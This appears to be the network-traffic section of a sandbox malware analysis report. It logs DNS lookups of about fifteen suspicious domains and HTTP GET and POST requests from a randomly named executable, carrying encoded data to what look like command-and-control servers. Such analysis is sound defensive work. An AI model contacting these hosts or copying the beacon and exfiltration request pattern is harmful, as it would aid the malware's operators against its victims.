Oct 19, 2024 13:00:09.478195906 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.479245901 CEST	50058	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:09.557213068 CEST	50058	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:09.565088034 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565103054 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565112114 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565135956 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565150976 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565160036 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565170050 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565187931 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.565196991 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:10.114933014 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:10.114990950 CEST	50058	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:11.061148882 CEST	50058	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:11.066517115 CEST	80	50058	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:12.686726093 CEST	50059	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:12.692002058 CEST	80	50059	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:12.692075968 CEST	50059	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:12.732429981 CEST	50059	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:12.737533092 CEST	80	50059	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:13.328516960 CEST	80	50059	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:13.330416918 CEST	80	50059	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:13.330521107 CEST	50059	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:13.331279039 CEST	50059	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:13.338021994 CEST	80	50059	3.33.130.190	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 19, 2024 12:57:03.309730053 CEST	57813	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:57:03.323249102 CEST	53	57813	1.1.1.1	192.168.2.4
Oct 19, 2024 12:57:19.050085068 CEST	52352	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:57:19.073851109 CEST	53	52352	1.1.1.1	192.168.2.4
Oct 19, 2024 12:57:32.637507915 CEST	60318	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:57:32.898922920 CEST	53	60318	1.1.1.1	192.168.2.4
Oct 19, 2024 12:57:46.174233913 CEST	62409	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:57:46.198400021 CEST	53	62409	1.1.1.1	192.168.2.4
Oct 19, 2024 12:57:59.628591061 CEST	58173	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:57:59.641696930 CEST	53	58173	1.1.1.1	192.168.2.4
Oct 19, 2024 12:58:12.955738068 CEST	51634	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:58:13.963372946 CEST	53	51634	1.1.1.1	192.168.2.4
Oct 19, 2024 12:58:27.800097942 CEST	65389	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:58:27.864289999 CEST	53	65389	1.1.1.1	192.168.2.4
Oct 19, 2024 12:58:41.159363985 CEST	57709	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:58:41.285960913 CEST	53	57709	1.1.1.1	192.168.2.4
Oct 19, 2024 12:58:54.643404961 CEST	62272	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:58:54.653208017 CEST	53	62272	1.1.1.1	192.168.2.4
Oct 19, 2024 12:59:07.943152905 CEST	62820	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:59:07.957706928 CEST	53	62820	1.1.1.1	192.168.2.4
Oct 19, 2024 12:59:21.284112930 CEST	55559	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:59:21.298857927 CEST	53	55559	1.1.1.1	192.168.2.4
Oct 19, 2024 12:59:34.659096956 CEST	51279	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:59:35.632275105 CEST	53	51279	1.1.1.1	192.168.2.4
Oct 19, 2024 12:59:49.879252911 CEST	65278	53	192.168.2.4	1.1.1.1
Oct 19, 2024 12:59:50.276345968 CEST	53	65278	1.1.1.1	192.168.2.4
Oct 19, 2024 13:00:03.658368111 CEST	51249	53	192.168.2.4	1.1.1.1
Oct 19, 2024 13:00:03.699784040 CEST	53	51249	1.1.1.1	192.168.2.4
Oct 19, 2024 13:00:18.814857960 CEST	55686	53	192.168.2.4	1.1.1.1
Oct 19, 2024 13:00:19.789316893 CEST	53	55686	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 19, 2024 12:57:03.309730053 CEST	192.168.2.4	1.1.1.1	0xd0f2	Standard query (0)	www.cortesads.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:19.050085068 CEST	192.168.2.4	1.1.1.1	0xc0f	Standard query (0)	www.hcpf.xyz	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:32.637507915 CEST	192.168.2.4	1.1.1.1	0x9fe2	Standard query (0)	www.kerennih31.click	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:46.174233913 CEST	192.168.2.4	1.1.1.1	0x2eb1	Standard query (0)	www.setsea.info	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:59.628591061 CEST	192.168.2.4	1.1.1.1	0xdfc8	Standard query (0)	www.cablecarrental.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:12.955738068 CEST	192.168.2.4	1.1.1.1	0xaf47	Standard query (0)	www.cqghwamc.top	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:27.800097942 CEST	192.168.2.4	1.1.1.1	0x8b46	Standard query (0)	www.662-home-nb.shop	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:41.159363985 CEST	192.168.2.4	1.1.1.1	0xcf3c	Standard query (0)	www.stopgazviganais.org	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:54.643404961 CEST	192.168.2.4	1.1.1.1	0xff45	Standard query (0)	www.whiterabbitgroup.pro	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:07.943152905 CEST	192.168.2.4	1.1.1.1	0xe724	Standard query (0)	www.bidiez.com	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:21.284112930 CEST	192.168.2.4	1.1.1.1	0xf529	Standard query (0)	www.deltastem.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:34.659096956 CEST	192.168.2.4	1.1.1.1	0x3d9a	Standard query (0)	www.dxfwrc2h.sbs	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:49.879252911 CEST	192.168.2.4	1.1.1.1	0xa982	Standard query (0)	www.rsantos.shop	A (IP address)	IN (0x0001)	false
Oct 19, 2024 13:00:03.658368111 CEST	192.168.2.4	1.1.1.1	0x1b3e	Standard query (0)	www.jsninja.net	A (IP address)	IN (0x0001)	false
Oct 19, 2024 13:00:18.814857960 CEST	192.168.2.4	1.1.1.1	0x893f	Standard query (0)	www.everyone.golf	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 19, 2024 12:57:03.323249102 CEST	1.1.1.1	192.168.2.4	0xd0f2	No error (0)	www.cortesads.net	cortesads.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:57:03.323249102 CEST	1.1.1.1	192.168.2.4	0xd0f2	No error (0)	cortesads.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:03.323249102 CEST	1.1.1.1	192.168.2.4	0xd0f2	No error (0)	cortesads.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:19.073851109 CEST	1.1.1.1	192.168.2.4	0xc0f	No error (0)	www.hcpf.xyz		172.67.181.186	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:19.073851109 CEST	1.1.1.1	192.168.2.4	0xc0f	No error (0)	www.hcpf.xyz		104.21.48.76	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:32.898922920 CEST	1.1.1.1	192.168.2.4	0x9fe2	No error (0)	www.kerennih31.click	kerennih31.click		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:57:32.898922920 CEST	1.1.1.1	192.168.2.4	0x9fe2	No error (0)	kerennih31.click		104.223.44.195	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:46.198400021 CEST	1.1.1.1	192.168.2.4	0x2eb1	No error (0)	www.setsea.info		203.161.41.204	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:59.641696930 CEST	1.1.1.1	192.168.2.4	0xdfc8	No error (0)	www.cablecarrental.net	cablecarrental.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:57:59.641696930 CEST	1.1.1.1	192.168.2.4	0xdfc8	No error (0)	cablecarrental.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:57:59.641696930 CEST	1.1.1.1	192.168.2.4	0xdfc8	No error (0)	cablecarrental.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:13.963372946 CEST	1.1.1.1	192.168.2.4	0xaf47	No error (0)	www.cqghwamc.top		221.128.225.57	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:27.864289999 CEST	1.1.1.1	192.168.2.4	0x8b46	No error (0)	www.662-home-nb.shop		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:41.285960913 CEST	1.1.1.1	192.168.2.4	0xcf3c	No error (0)	www.stopgazviganais.org		172.67.196.90	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:41.285960913 CEST	1.1.1.1	192.168.2.4	0xcf3c	No error (0)	www.stopgazviganais.org		104.21.12.211	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:54.653208017 CEST	1.1.1.1	192.168.2.4	0xff45	No error (0)	www.whiterabbitgroup.pro	whiterabbitgroup.pro		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:58:54.653208017 CEST	1.1.1.1	192.168.2.4	0xff45	No error (0)	whiterabbitgroup.pro		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:58:54.653208017 CEST	1.1.1.1	192.168.2.4	0xff45	No error (0)	whiterabbitgroup.pro		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:07.957706928 CEST	1.1.1.1	192.168.2.4	0xe724	No error (0)	www.bidiez.com	bidiez.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:07.957706928 CEST	1.1.1.1	192.168.2.4	0xe724	No error (0)	bidiez.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:07.957706928 CEST	1.1.1.1	192.168.2.4	0xe724	No error (0)	bidiez.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:21.298857927 CEST	1.1.1.1	192.168.2.4	0xf529	No error (0)	www.deltastem.net	deltastem.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:21.298857927 CEST	1.1.1.1	192.168.2.4	0xf529	No error (0)	deltastem.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:21.298857927 CEST	1.1.1.1	192.168.2.4	0xf529	No error (0)	deltastem.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	www.dxfwrc2h.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:35.632275105 CEST	1.1.1.1	192.168.2.4	0x3d9a	No error (0)	b1-3-r111.kunlundns.top		129.226.56.200	A (IP address)	IN (0x0001)	false
Oct 19, 2024 12:59:50.276345968 CEST	1.1.1.1	192.168.2.4	0xa982	No error (0)	www.rsantos.shop	rsantos.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 12:59:50.276345968 CEST	1.1.1.1	192.168.2.4	0xa982	No error (0)	rsantos.shop		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 19, 2024 13:00:03.699784040 CEST	1.1.1.1	192.168.2.4	0x1b3e	No error (0)	www.jsninja.net	jsninja.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 13:00:03.699784040 CEST	1.1.1.1	192.168.2.4	0x1b3e	No error (0)	jsninja.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 13:00:03.699784040 CEST	1.1.1.1	192.168.2.4	0x1b3e	No error (0)	jsninja.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 19, 2024 13:00:19.789316893 CEST	1.1.1.1	192.168.2.4	0x893f	No error (0)	www.everyone.golf	everyone.golf		CNAME (Canonical name)	IN (0x0001)	false
Oct 19, 2024 13:00:19.789316893 CEST	1.1.1.1	192.168.2.4	0x893f	No error (0)	everyone.golf		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 19, 2024 13:00:19.789316893 CEST	1.1.1.1	192.168.2.4	0x893f	No error (0)	everyone.golf		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.cortesads.net

www.hcpf.xyz

www.kerennih31.click

www.setsea.info

www.cablecarrental.net

www.cqghwamc.top

www.662-home-nb.shop

www.stopgazviganais.org

www.whiterabbitgroup.pro

www.bidiez.com

www.deltastem.net

www.dxfwrc2h.sbs

www.rsantos.shop

www.jsninja.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49762	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:03.347311974 CEST	596	OUT	GET /lpx9/?2BWDG=yfrMmnVL9edufzkkV67gQCynHe5+gBIRO00DGxhyT3HPHFaar1P6nPddxxsQoEWGQjZ/tmjPotgApkkCYtaEOgx0Q//NLra/l6H2B8DThfTi+Y2WyOSOvVY=&wfm=G6oTo8vx HTTP/1.1 Host: www.cortesads.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:57:04.000720978 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Oct 2024 10:57:03 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 32 42 57 44 47 3d 79 66 72 4d 6d 6e 56 4c 39 65 64 75 66 7a 6b 6b 56 36 37 67 51 43 79 6e 48 65 35 2b 67 42 49 52 4f 30 30 44 47 78 68 79 54 33 48 50 48 46 61 61 72 31 50 36 6e 50 64 64 78 78 73 51 6f 45 57 47 51 6a 5a 2f 74 6d 6a 50 6f 74 67 41 70 6b 6b 43 59 74 61 45 4f 67 78 30 51 2f 2f 4e 4c 72 61 2f 6c 36 48 32 42 38 44 54 68 66 54 69 2b 59 32 57 79 4f 53 4f 76 56 59 3d 26 77 66 6d 3d 47 36 6f 54 6f 38 76 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?2BWDG=yfrMmnVL9edufzkkV67gQCynHe5+gBIRO00DGxhyT3HPHFaar1P6nPddxxsQoEWGQjZ/tmjPotgApkkCYtaEOgx0Q//NLra/l6H2B8DThfTi+Y2WyOSOvVY=&wfm=G6oTo8vx"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49843	172.67.181.186	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:19.093046904 CEST	851	OUT	POST /uy9i/ HTTP/1.1 Host: www.hcpf.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.hcpf.xyz Referer: http://www.hcpf.xyz/uy9i/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4e 35 67 6e 38 51 73 30 37 7a 6e 73 6b 70 4d 4d 68 37 4d 4d 53 4b 61 35 35 34 74 35 56 31 39 45 44 46 7a 79 32 58 57 4a 5a 62 64 2b 69 41 6b 73 41 72 79 61 6b 30 72 44 6e 44 6a 78 47 77 49 72 56 75 31 6e 45 59 6b 46 6b 41 2f 61 39 63 42 31 55 33 4d 61 4e 79 2f 6c 72 69 7a 45 34 65 35 31 4e 71 58 56 78 57 34 4f 6c 73 36 34 74 32 38 33 55 56 4d 43 46 48 34 30 61 52 62 31 49 38 71 69 75 4e 34 51 30 30 65 73 6e 32 44 2f 38 6e 7a 48 57 33 55 72 79 51 6f 78 32 34 72 4e 35 67 78 45 37 41 33 2f 31 79 52 62 7a 45 38 52 55 57 6b 68 30 76 49 33 43 31 38 35 79 55 70 36 58 75 75 55 59 67 3d 3d Data Ascii: 2BWDG=N5gn8Qs07znskpMMh7MMSKa554t5V19EDFzy2XWJZbd+iAksAryak0rDnDjxGwIrVu1nEYkFkA/a9cB1U3MaNy/lrizE4e51NqXVxW4Ols64t283UVMCFH40aRb1I8qiuN4Q00esn2D/8nzHW3UryQox24rN5gxE7A3/1yRbzE8RUWkh0vI3C185yUp6XuuUYg==
Oct 19, 2024 12:57:19.980660915 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DHB3N0phCtXpx3kUmVrWpZAbollU%2Fd5%2BaA9gAXg8iDaqNLVeXe16bRRvxFTw%2FQ5ar%2BWJqWBmUEfn49rsKG1lZFGpGgxswoGsr%2BRU%2FrdOFX%2FTw3bYwuFcEXM4Vm8EuGQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d503f21accf4755-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1130&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=851&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 63 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 4b 6b db 40 10 be 1b fc 1f 36 32 b9 59 5a 49 4e d2 5a 92 05 ad 93 90 42 d2 86 c6 7d 1d d7 d2 da 5a aa 57 a5 8d 2d d7 e4 c7 94 dc 4a 2f 79 d1 80 d3 06 1a 13 48 0e 81 b8 09 bd b4 f4 dc 43 0f 4d 0f 85 be 28 2b c9 b2 13 42 57 a0 d9 c7 37 df 7c 33 3b ab 4d cc de ab d6 9e 2c cf 01 8b 3a 36 58 7e 70 7b f1 4e 15 70 3c 84 8f 4a 55 08 67 6b b3 e0 f1 42 6d 69 11 48 82 08 56 68 40 0c 0a e1 dc 5d 0e 70 16 a5 be 02 61 bb dd 16 da 25 c1 0b 9a b0 76 1f 46 8c 45 62 6e e9 94 0f 63 1f c1 a4 26 a7 e7 73 5a 1c 25 72 6c 37 ac 5c c3 20 95 cb e5 c4 31 01 63 64 32 eb 60 8a 00 43 f3 f8 d9 2a 69 55 b8 aa e7 52 ec 52 be d6 f1 31 07 8c 64 55 e1 28 8e 28 64 de 2a 30 2c 14 84 98 56 9a 75 b9 24 c9 1c 64 34 94 50 1b eb 53 e2 14 e0 c1 f9 60 b3 b7 f3 e6 a4 bf f7 b7 77 d1 df 7f b7 f7 62 5d 83 c9 79 3e a7 85 b4 63 63 40 3b 3e 4e 39 8d 30 8c 05 4d f0 7c 3e 57 f7 cc 4e d7 41 41 93 b8 8a a8 36 3c 97 f2 21 79 8e 15 e1 06 76 92 65 03 39 c4 ee 28 0f 71 60 22 17 15 c1 ad 80 20 bb 08 16 b0 dd [TRUNCATED] Data Ascii: 2c5\|SKk@62YZINZB}ZW-J/yHCM(+BW7\|3;M,:6X~p{Np<JUgkBmiHVh@]pa%vFEbnc&sZ%rl7\ 1cd2`CiURR1dU((d0,Vu$d4PS`wb]y>cc@;>N90M\|>WNAA6<!yve9(q`" B\|PxUTsPbi@# 7G,;/SQ3ag{Rg\|<bW(b[G8(
Oct 19, 2024 12:57:19.980705976 CEST	279	IN	Data Raw: 66 6e 05 76 61 38 e8 b6 89 49 2d a5 3c 33 99 c5 48 5d 86 c9 cc f8 11 90 27 41 62 2e d5 8c a3 01 ae af 1a 16 a6 60 69 85 2b 82 ac 86 63 15 1b cb 2c 9f 1b 95 8f 4f f7 a7 e3 c1 92 2e a4 9d d1 bd 24 43 9e 54 7d 2f 24 94 78 ae 12 60 1b 51 d2 c2 0c 2d Data Ascii: fnva8I-<3H]'Ab.`i+c,O.$CT}/$x`Q-hYD\tO=_GYb<<k V<67k'fMpI9]$o?\|%4Ik*fMFa2tmQ4KCT?/7v[_Nw~m.?}:?)J&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49858	172.67.181.186	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:21.651331902 CEST	871	OUT	POST /uy9i/ HTTP/1.1 Host: www.hcpf.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.hcpf.xyz Referer: http://www.hcpf.xyz/uy9i/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4e 35 67 6e 38 51 73 30 37 7a 6e 73 6d 4a 38 4d 78 73 59 4d 44 71 61 2b 6e 49 74 35 63 56 38 4e 44 43 37 79 32 54 76 45 59 6f 70 2b 6a 6c 67 73 42 71 79 61 6e 30 72 44 73 6a 6a 4f 62 67 49 65 56 75 49 61 45 5a 59 46 6b 44 44 61 39 65 5a 31 55 67 5a 4d 4d 69 2f 6e 6e 43 7a 47 79 2b 35 31 4e 71 58 56 78 57 74 72 6c 73 79 34 73 46 30 33 56 30 4d 42 5a 58 34 33 64 52 62 31 66 73 71 75 75 4e 35 44 30 32 36 53 6e 30 4c 2f 38 6a 33 48 56 69 34 6f 37 51 70 36 34 59 71 4f 36 77 46 4a 36 6a 4f 32 31 7a 67 2b 79 6e 45 42 56 51 31 37 6c 65 70 67 51 31 59 4b 76 54 67 4f 61 74 54 64 44 74 74 64 73 7a 34 47 64 77 5a 47 6e 33 65 55 66 31 72 55 30 37 51 3d Data Ascii: 2BWDG=N5gn8Qs07znsmJ8MxsYMDqa+nIt5cV8NDC7y2TvEYop+jlgsBqyan0rDsjjObgIeVuIaEZYFkDDa9eZ1UgZMMi/nnCzGy+51NqXVxWtrlsy4sF03V0MBZX43dRb1fsquuN5D026Sn0L/8j3HVi4o7Qp64YqO6wFJ6jO21zg+ynEBVQ17lepgQ1YKvTgOatTdDttdsz4GdwZGn3eUf1rU07Q=
Oct 19, 2024 12:57:22.531109095 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kk0aOoI3qPpWVp5RmmHPPHv%2BRbQyye3w3VaIk6m0grob2oM%2F0glOLi8lvyZjNHnVFWx5Tay9yoJTlGxFzMVzHU5lesQMjJtO7i1fFisjGk61zIu9OnQ6j6tfJ3HF%2Bq8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d503f319fc42e24-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1379&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=871&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 62 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 4b 6b db 40 10 be 1b fc 1f 36 32 b9 59 5a 49 4e d2 5a 92 05 ad 93 90 42 d2 86 c6 7d 1d d7 d2 da 5a aa 57 a5 8d 2d d7 e4 c7 94 dc 4a 2f 79 d1 80 d3 06 1a 13 48 0e 81 b8 09 bd b4 f4 dc 43 0f 4d 0f 85 be 28 2b c9 b2 13 42 57 a0 d9 c7 37 df 7c 33 3b ab 4d cc de ab d6 9e 2c cf 01 8b 3a 36 58 7e 70 7b f1 4e 15 70 3c 84 8f 4a 55 08 67 6b b3 e0 f1 42 6d 69 11 48 82 08 56 68 40 0c 0a e1 dc 5d 0e 70 16 a5 be 02 61 bb dd 16 da 25 c1 0b 9a b0 76 1f 46 8c 45 62 6e e9 94 0f 63 1f c1 a4 26 a7 e7 73 5a 1c 25 72 6c 37 ac 5c c3 20 95 cb e5 c4 31 01 63 64 32 eb 60 8a 00 43 f3 f8 d9 2a 69 55 b8 aa e7 52 ec 52 be d6 f1 31 07 8c 64 55 e1 28 8e 28 64 de 2a 30 2c 14 84 98 56 9a 75 b9 24 c9 1c 64 34 94 50 1b eb 53 e2 14 e0 c1 f9 60 b3 b7 f3 e6 a4 bf f7 b7 77 d1 df 7f b7 f7 62 5d 83 c9 79 3e a7 85 b4 63 63 40 3b 3e 4e 39 8d 30 8c 05 4d f0 7c 3e 57 f7 cc 4e d7 41 41 93 b8 8a a8 36 3c 97 f2 21 79 8e 15 e1 06 76 92 65 03 39 c4 ee 28 0f 71 60 22 17 15 c1 ad 80 20 bb 08 